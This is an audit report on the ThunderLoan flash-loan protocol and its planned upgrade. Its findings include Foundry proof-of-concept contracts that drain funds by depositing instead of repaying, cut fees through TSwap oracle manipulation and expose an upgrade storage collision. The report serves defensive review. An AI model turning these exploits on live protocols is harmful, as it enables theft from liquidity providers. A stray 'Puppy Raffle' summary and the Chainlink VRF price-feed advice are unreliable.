Thunder Loan Protocol Audit Report

Version 1.0

pindarev

January 13, 2025

Thunder Loan Protocol Audit Report

pindarev

January 13, 2025

Audited by: pindarev

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

Give users a way to create flash loans Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current ThunderLoan contract to the ThunderLoanUpgraded contract. Please include this upgrade in scope of a security review.

Disclaimer

The pindarev team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	5
Info	4
Total	14

Findings

High

[H-1] By calling a `ThunderLoan::flashloan` and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description Using `flashloan` we can loan money for one transaction, that is provided by some liquidity providers, at the end of the transaction money should be returned + some fee. For that reason, we have a `repay` function, but there are no checks on how you can retrieve the money back, so instead of repaying the funds, we can use the `deposit` function and pretend that the funds are ours, because

there are no checks `deposit` function if these funds are loaned, so at the end of the transaction we retrieved the money back using `deposit` and for that reason `flashloan` won't revert. So now the attacker stole the funds that he loaned and can `redeem` them anytime, he wants.

Impact User can steal all funds from the protocol. This is a high severe disruption protocol functionality.

Proof of Concepts 1. Get a flashloan 2. Instead of repaying it, deposit it (flashloan amount + some fee) 3. Bumm! The funds are yours now, you can redeem it if you want 4. Repeat the whole circuit until you drain the whole protocol!

PoC

Place the following code in `ThunderLoanTest.t.sol`

```
import { IFlashLoanReceiver } from "src/interfaces/IFlashLoanReceiver.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

    function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");

        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) >= amountToBorrow + fee);
}
```

Also, add the following contract in `ThunderLoanTest.t.sol`

```
    contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
}

    function executeOperation(
```

```
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
 )
        external
        returns (bool)
 {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
 }

    function redeemMoney() external {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
 }
}
```

Recommended mitigation Consider adding some rules about how funds should be repaid.

For example, there can be made checks that make valid returned loan only if it is paid by the `repay` function, otherwise repay is invalid.

Example:

```

function flashloan(
 address receiverAddress,
 IERC20 token,
 uint256 amount,
 bytes calldata params
 )
 external
 revertIfZero(amount)
 revertIfNotAllowedToken(token)
 {
.
.
.
.
 receiverAddress.functionCall(
 abi.encodeCall(
 IFlashLoanReceiver.executeOperation,
 (
 address(token),
 amount,
 fee,
```

```
23   msg.sender, // initiator
24   params
25   )
26   )
27   );
28   uint256 endingBalance = token.balanceOf(address(assetToken));
29
30 +       if(s_currentlyFlashLoaning[token]) {
31 +           revert ThunderLoan__NotPaidBack(startingBalance + fee,
       endingBalance);
32 +       }
33   if (endingBalance < startingBalance + fee) {
34   revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
35   }
36 -       s_currentlyFlashLoaning[token] = false;
37   }
38
39   function repay(IERC20 token, uint256 amount) public {
40   if (!s_currentlyFlashLoaning[token]) {
41   revert ThunderLoan__NotCurrentlyFlashLoaning();
42   }
43   AssetToken assetToken = s_tokenToAssetToken[token];
44   token.safeTransferFrom(msg.sender, address(assetToken), amount);
45 +       s_currentlyFlashLoaning[token] = false;
46   }
```

Now if we try to run the same test will fail due to `ThunderLoan::ThunderLoan__NotPaidBack`.

[H-2] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes the protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates the rate, without collecting any fees!

```
1      function deposit(IERC20 token, uint256 amount) external
           revertIfZero(amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate(); //
               starting 1e18
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
```

```
7
8           // @audit high
9   @>      uint256 calculatedFee = getCalculatedFee(token, amount);
10  @>      assetToken.updateExchangeRate(calculatedFee);
11
12          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
13  }
```

Impact There are several impacts to these bugs.

1. The `redeem` function is blocked because the protocol thinks the owned tokens are more than it has
2. Rewards are incorrectly calculated, leading liquidity providers to potentially get way more or less than deserved.

Proof of Concepts

1. LP deposits
2. The user takes out a flash loan and repays it
3. It is now impossible for LP to redeem.

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
1     function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2         uint256 amountToBorrow = AMOUNT * 10;
3         uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
              amountToBorrow);
4
5         vm.startPrank(user);
6         tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
7         thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
              amountToBorrow, "");
8         vm.stopPrank();
9
10        uint256 amountToRedeem = type(uint256).max;
11        vm.startPrank(liquidityProvider);
12        thunderLoan.redeem(tokenA, amountToRedeem);
13        vm.stopPrank();
14  }
```

Recommended mitigation Remove the incorrectly updated exchange rate lines from `deposit`.

```
1
2   function deposit(IERC20 token, uint256 amount) external revertIfZero(
        amount) revertIfNotAllowedToken(token) {
3   AssetToken assetToken = s_tokenToAssetToken[token];
```

```
4   uint256 exchangeRate = assetToken.getExchangeRate(); // starting 1e18
5   uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
        exchangeRate;
6   emit Deposit(msg.sender, token, amount);
7   assetToken.mint(msg.sender, mintAmount);
8
9 -       uint256 calculatedFee = getCalculatedFee(token, amount);
10 -       assetToken.updateExchangeRate(calculatedFee);
11
12  token.safeTransferFrom(msg.sender, address(assetToken), amount);
13  }
```

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description `ThunderLoan.sol` has two variables in the following order:

```
1     uint256 private s_feePrecision;
2     uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1     uint256 private s_flashLoanFee;
2     uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables breaks the storage locations as well.

Impact After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concepts

PoC

Place the following into `ThunderLoanTest.t.sol`.

```
1  import {ThunderLoanUpgraded} from "src/upgradedProtocol/
       ThunderLoanUpgraded.sol";
2  .
3  .
4  .
5          function testStorageCollision() public {
```

```
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("Fee Before: ", feeBeforeUpgrade);
        console.log("Fee After: ", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended mitigation If you must remove the storage variable. Leave it as blank to not mess up the storage slots

```
-    uint256 private s_flashLoanFee;
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Oracle Manipulation using TSwap, causing lower fees for flashloans.

Description For every flash loan users should pay some fees, these fees are being used to pay the liquidity providers as a reward for holding their assets in protocol making it bigger and stable. However using AMM (DEXes) as Oracle Price Feed is not a good idea due to `Oracle Manipulation` attacks.

Impact These attacks are often very dangerous, in our case this affects the fees for taking flashloans. This will reduce rewards for liquidity providers.

Proof of Concepts 1. Starting point 1. 100 WETH & 100 TokenA in TSwap 2. 1000 TokenA in ThunderLoan 2. Take out a flash loan of 50 tokenA 3. Swap it on the dex, tanking the price of DEX and ratio -> 150 TokenA / ~80 WETH 4. Take out ANOTHER flash loan of 50 tokenA (and we'll see how much cheaper it is!!!) 5. We are going to take out 2 flash loans 1. To nuke the price of the weth/tokenA on TSwap 2. To show that doing so greatly reduces the fees we pay on ThunderLoan

PoC

Place the following code in the test file `ThunderLoanTest.t.sol`:

```
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";
import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
import { IFlashLoanReceiver } from "src/interfaces/IFlashLoanReceiver.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

        function testOracleManipulation() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");

        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        pf.createPool(address(tokenA));

        address tswapPool = pf.getPool(address(tokenA));

        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT); // 1000e18
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console.log("Normal Fee is: ", normalFeeCost);

        uint256 amountToBorrow = 50e18; // we gonna do this twice
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
            address(tswapPool),
            address(thunderLoan),
            address(thunderLoan.getAssetFromToken(tokenA))
```

```
45  );
46
47          vm.startPrank(user);
48          tokenA.mint(address(flr), 100e18);
49          thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
                ;
50          vm.stopPrank();
51
52          uint256 attackFee = flr.feeOne() + flr.feeTwo();
53          console.log("Attack Fee is: ", attackFee);
54          assert(attackFee < normalFeeCost);
55  }
```

Also, add this contract to the test file:

```
1  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
2      BuffMockTSwap tswapPool;
3      ThunderLoan thunderLoan;
4      address repayAddress;
5      bool attacked;
6      uint256 public feeOne;
7      uint256 public feeTwo;
8
9      constructor(address _tswapPool, address _thunderLoan, address
           _repayAddress) {
10         tswapPool = BuffMockTSwap(_tswapPool);
11         thunderLoan = ThunderLoan(_thunderLoan);
12         repayAddress = _repayAddress;
13 }
14
15     function executeOperation(
16         address token,
17         uint256 amount,
18         uint256 fee,
19         address, /*initiator*/
20         bytes calldata /*params*/
21 )
22         external
23         returns (bool)
24 {
25         if (!attacked) {
26             feeOne = fee;
27             attacked = true;
28             uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                   (50e18, 100e18, 100e18);
29             IERC20(token).approve(address(tswapPool), 50e18);
30
31             tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                   wethBought, block.timestamp);
32             thunderLoan.flashloan(address(this), IERC20(token), amount,
                    "");
```

```
33
34              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
35  } else {
36              feeTwo = fee;
37
38              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
39  }
40          return true;
41  }
42 }
```

Recommended mitigation Consider using VRF Chainlink as price feed, instead of DEXes or AMMs.

[M-2] `ThunderLoan::transferUnderlyingTo` can be broken due to Weird ERC20s, freezing the whole protocol

Description The function `transferUnderlyingTo` is transferring underlying tokens (ERC20s). One of the allowed tokens is USDC, which is an upgradable proxy, which can cause future inconsistency and problems. Also, USDC can blacklist any contracts used in the protocol.

Impact Weird ERC20 problems are unpredictable and can freeze and block the whole protocol

Recommended mitigation There are a couple of preventive measures that can be taken.

Firstly, Design the protocol to switch to alternative stablecoins (like DAI or USDT) if USDC becomes unusable. This can be achieved by:

Using a Multi-Asset Vault: Store and manage various stablecoins in your vault, allowing flexibility. Fall-back Logic: In case of issues with USDC, the protocol automatically switches to a backup stablecoin.

Next, add blacklist handling logic Introduce logic in your protocol to identify if it's blacklisted by USDC:

Use EIP-2612's permit function to check for approvals. If blacklisted, execute a predefined emergency exit strategy.

Low

[L-1]: Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 259

```
        function setAllowedToken(IERC20 token, bool allowed) external
            onlyOwner returns (AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 295

```
        function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

- Found in src/protocol/ThunderLoan.sol Line: 323

```
        function _authorizeUpgrade(address newImplementation) internal
            override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 238

```
        function setAllowedToken(IERC20 token, bool allowed) external
            onlyOwner returns (AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 264

```
        function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
        function _authorizeUpgrade(address newImplementation) internal
            override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal
    onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer
     {

```

```
138:     function initialize(address tswapAddress) external initializer
    {
139:         __Ownable_init();
140:         __UUPSUpgradeable_init();
141:         __Oracle_init(tswapAddress);
```

[L-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

1 Found Instances

- Found in src/protocol/OracleUpgradeable.sol Line: 22

```
    s_poolFactory = poolFactoryAddress;
```

[L-4]: State variable changes but no event is emitted.

State variable changes in this function but no event is emitted.

4 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 147

```
        function initialize(address tswapAddress) external initializer {
```

- Found in src/protocol/ThunderLoan.sol Line: 295

```
        function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 140

```
        function initialize(address tswapAddress) external initializer {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 264

```
        function updateFlashLoanFee(uint256 newFee) external onlyOwner {
```

[L-5]: Empty Function Body - Consider commenting why

2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 323

```
        function _authorizeUpgrade(address newImplementation) internal
            override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
        function _authorizeUpgrade(address newImplementation) internal
            override onlyOwner { }
```

Info

[I-1]: `public` functions not used internally could be marked `external`

Instead of marking a function as **`public`**, consider marking it as `external` if it is not used internally.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 251

```
        function repay(IERC20 token, uint256 amount) public {
```

- Found in src/protocol/ThunderLoan.sol Line: 307

```
        function getAssetFromToken(IERC20 token) public view returns (
            AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 311

```
        function isCurrentlyFlashLoaning(IERC20 token) public view
            returns (bool) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 230

```
        function repay(IERC20 token, uint256 amount) public {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 275

```
        function getAssetFromToken(IERC20 token) public view returns (
            AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 279

```
1         function isCurrentlyFlashLoaning(IERC20 token) public view
              returns (bool) {
```

[I-2]: Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

9 Found Instances

- Found in src/protocol/AssetToken.sol Line: 33

```
1         event ExchangeRateUpdated(uint256 newExchangeRate);
```

- Found in src/protocol/ThunderLoan.sol Line: 108

```
1         event Deposit(address indexed account, IERC20 indexed token,
              uint256 amount);
```

- Found in src/protocol/ThunderLoan.sol Line: 109

```
1         event AllowedTokenSet(IERC20 indexed token, AssetToken indexed
              asset, bool allowed);
```

- Found in src/protocol/ThunderLoan.sol Line: 110

```
1         event Redeemed(
```

- Found in src/protocol/ThunderLoan.sol Line: 113

```
1         event FlashLoan(address indexed receiverAddress, IERC20 indexed
              token, uint256 amount, uint256 fee, bytes params);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 105

```
1         event Deposit(address indexed account, IERC20 indexed token,
              uint256 amount);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 106

```
1         event AllowedTokenSet(IERC20 indexed token, AssetToken indexed
              asset, bool allowed);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 107

```
1         event Redeemed(
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 110

```
1         event FlashLoan(address indexed receiverAddress, IERC20 indexed
              token, uint256 amount, uint256 fee, bytes params);
```

[I-3]: Unused Custom Error

it is recommended that the definition be removed when custom error is unused

2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 84

```
1         error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 84

```
1         error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

[I-4]: Unused Imports

Redundant import statement. Consider removing it.

1 Found Instances

- Found in src/interfaces/IFlashLoanReceiver.sol Line: 6

```
1     import { IThunderLoan } from "./IThunderLoan.sol";
```